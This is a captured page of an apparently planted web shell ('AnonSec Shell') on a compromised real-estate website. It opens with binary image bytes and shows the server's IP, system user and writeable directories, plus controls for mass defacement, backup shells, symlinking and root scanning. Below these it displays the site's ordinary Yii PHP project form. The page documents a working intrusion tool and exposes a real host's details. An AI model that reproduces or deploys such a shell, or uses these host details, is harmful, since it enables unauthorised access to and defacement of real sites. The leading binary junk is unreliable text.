JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/backend/views/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/backend/views/project/_form.php
<?php
use yii\helpers\Html;
use yii\bootstrap\ActiveForm;
use yii\bootstrap\Tabs;
use kartik\file\FileInput;
use kartik\sortinput\SortableInput;
use Zelenin\yii\widgets\Summernote\Summernote;
?>

<div class="content-form">
  <div class="box box-primary">
    <div class="box-header with-border">
        <h3 class="box-title"><?= Yii::t('app', 'Datos del proyecto') ?></h3>
    </div>
    
    <?php $form = ActiveForm::begin([
            'id' => 'project',
            'enableClientValidation' => true,
            'errorSummaryCssClass' => 'error-summary alert alert-error',
            'options' => ['enctype' => 'multipart/form-data'],
        ]);
    ?>
    <div class="box-body">
    
      <div class="row">
        <div class="col-md-7">
            <?= $form->field($project, 'title')->textInput(['maxlength' => true]) ?>
            <?= $form->field($project, 'description')->widget(Summernote::className(), [
                        'options' => [
                            'class' => 'translation-summernote form-control',
                        ]
                    ]
                );
            ?>
            <?= $form->field($project, 'city')->textInput(['placeholder'=>'¿En qué barrio/ciudad está ubicado?']) ?>
            <?= $form->field($project, 'latitude')->hiddenInput()->label(false); ?>
            <?= $form->field($project, 'longitude')->hiddenInput()->label(false); ?>
            <?php
            echo $form->field($project, 'coordinates')->widget(
                'kolyunya\yii2\widgets\MapInputWidget',
                [

                    // Google maps browser key.
                    'key' => \Yii::$app->params['googleKey'],

                    // Initial map center latitude. Used only when the input has no value.
                    // Otherwise the input value latitude will be used as map center.
                    // Defaults to 0.
                    'latitude' => !empty($project->latitude)?$project->latitude:41.38506389999999,

                    // Initial map center longitude. Used only when the input has no value.
                    // Otherwise the input value longitude will be used as map center.
                    // Defaults to 0.
                    'longitude' => !empty($project->longitude)?$project->longitude:2.1734034999999494,

                    // Initial map zoom.
                    // Defaults to 0.
                    'zoom' => 16,

                    // Map container width.
                    // Defaults to '100%'.
//                    'width' => '420px',

                    // Map container height.
                    // Defaults to '300px'.
                    'height' => '250px',

                    // Coordinates representation pattern. Will be use to construct a value of an actual input.
                    // Will also be used to parse an input value to show the initial input value on the map.
                    // You can use two macro-variables: '%latitude%' and '%longitude%'.
                    // Defaults to '(%latitude%,%longitude%)'.
                    'pattern' => '%longitude%,%latitude%',

                    // Google map type. See official Google maps reference for details.
                    // Defaults to 'roadmap'
                    'mapType' => 'roadmap',

                    // Marker animation behavior defines if a marker should be animated on position change.
                    // Defaults to false.
                    'animateMarker' => true,

                    // Map alignment behavior defines if a map should be centered when a marker is repositioned.
                    // Defaults to true.
                    'alignMapCenter' => true,

                    // A flag which defines if a search bar should be rendered over the map.
                    'enableSearchBar' => true,

                ]
            );
            ?>
            <?= $form->field($project, 'investors')->textInput(['placeholder'=>'¿Cuántos inversores han habido?','type'=>'number']) ?>
            <?= $form->field($project, 'price_buy')->textInput(['placeholder'=>'Precio de la compra (EUR)']) ?>
            <?= $form->field($project, 'price_tax')->textInput(['placeholder'=>'Precio de los impuestos (EUR)']) ?>
            <?= $form->field($project, 'price_reform')->textInput(['placeholder'=>'Precio de la reforma (EUR)']) ?>
            <?= $form->field($project, 'profit')->textInput(['placeholder'=>'Porcentaje de rentabilidad']) ?>
            <?= $form->field($project, 'term')->textinput(['placeholder'=>'¿Cuántos meses duró el proyecto?','type'=>'number']); ?>
        </div>
      </div>
      
      <?php if (!$project->isNewRecord): ?>
      <div class="row">
        <div class="col-sm-12">
          <div class="project-images-sortable">
            <?php
            echo SortableInput::widget([
                'name' => 'projectImagesOrder',
                'items' => $project->getProjectImagesForSortableWidget(),
                'value' => $project->getOrderOfProjectImagesForSortableWidget(),
                'hideInput' => true,
                'sortableOptions' => [
                    'type' => 'grid',
                ],
            ]);
            ?>
          </div>
        </div>
      </div>
      <?php endif; ?>
      <div class="row">
        <div class="col-sm-12">
          <?php
              echo $form->field($project, 'uploadedImages[]')->widget(FileInput::classname(), [
                  'sortThumbs'=>false, // fuck this. added to avoid breaking sortable plugin
                  'options' => [
                      'multiple' => true, 
                      'accept' => 'image/*',
                      
                    ],
                  'pluginOptions' => [
                      
                      'previewFileType' => 'any',
                      'showCaption' => false,
                      'showRemove' => true,
                      'showUpload' => false
                      ]
                  ]);
          ?>
        </div>
      </div>
      <?php if (!$project->isNewRecord): ?>
      <div class="row">
        <div class="col-sm-12">
          <div class="project-images-sortable">
            <?php
            echo SortableInput::widget([
                'name' => 'projectBlueprintsOrder',
                'items' => $project->getProjectBlueprintsForSortableWidget(),
                'value' => $project->getOrderOfProjectBlueprintsForSortableWidget(),
                'hideInput' => true,
                'sortableOptions' => [
                    'type' => 'grid',
                ],
            ]);
            ?>
          </div>
        </div>
      </div>
      <?php endif; ?>
      <div class="row">
        <div class="col-sm-12">
          <?php
              echo $form->field($project, 'uploadedBlueprints[]')->widget(FileInput::classname(), [
                    'sortThumbs'=>false, // fuck this. added to avoid breaking sortable plugin
                    'options' => ['multiple' => true, 'accept' => 'image/*'],
                    'pluginOptions' => [
                        'previewFileType' => 'any',
                        'showCaption' => false,
                        'showRemove' => true,
                        'showUpload' => false
                        ]
                    ]);
            ?>
        </div>
      </div>
      
      
    </div>
    
    <div class="box-footer">
        <?= Html::submitButton(
                '<span class="glyphicon glyphicon-check"></span> ' .
                ($project->isNewRecord ? Yii::t('app', 'Create') : Yii::t('app', 'Save')),
                [
                    'id' => 'save-' . $project->formName(),
                    'class' => 'btn btn-success'
                ]
            );
        ?>
        <?= Html::a('Cancelar', ['index'], ['class'=>'btn btn-link']); ?>
    </div>

    <?php ActiveForm::end(); ?>
    
  </div>
</div>

Anon7 - 2022
AnonSec Team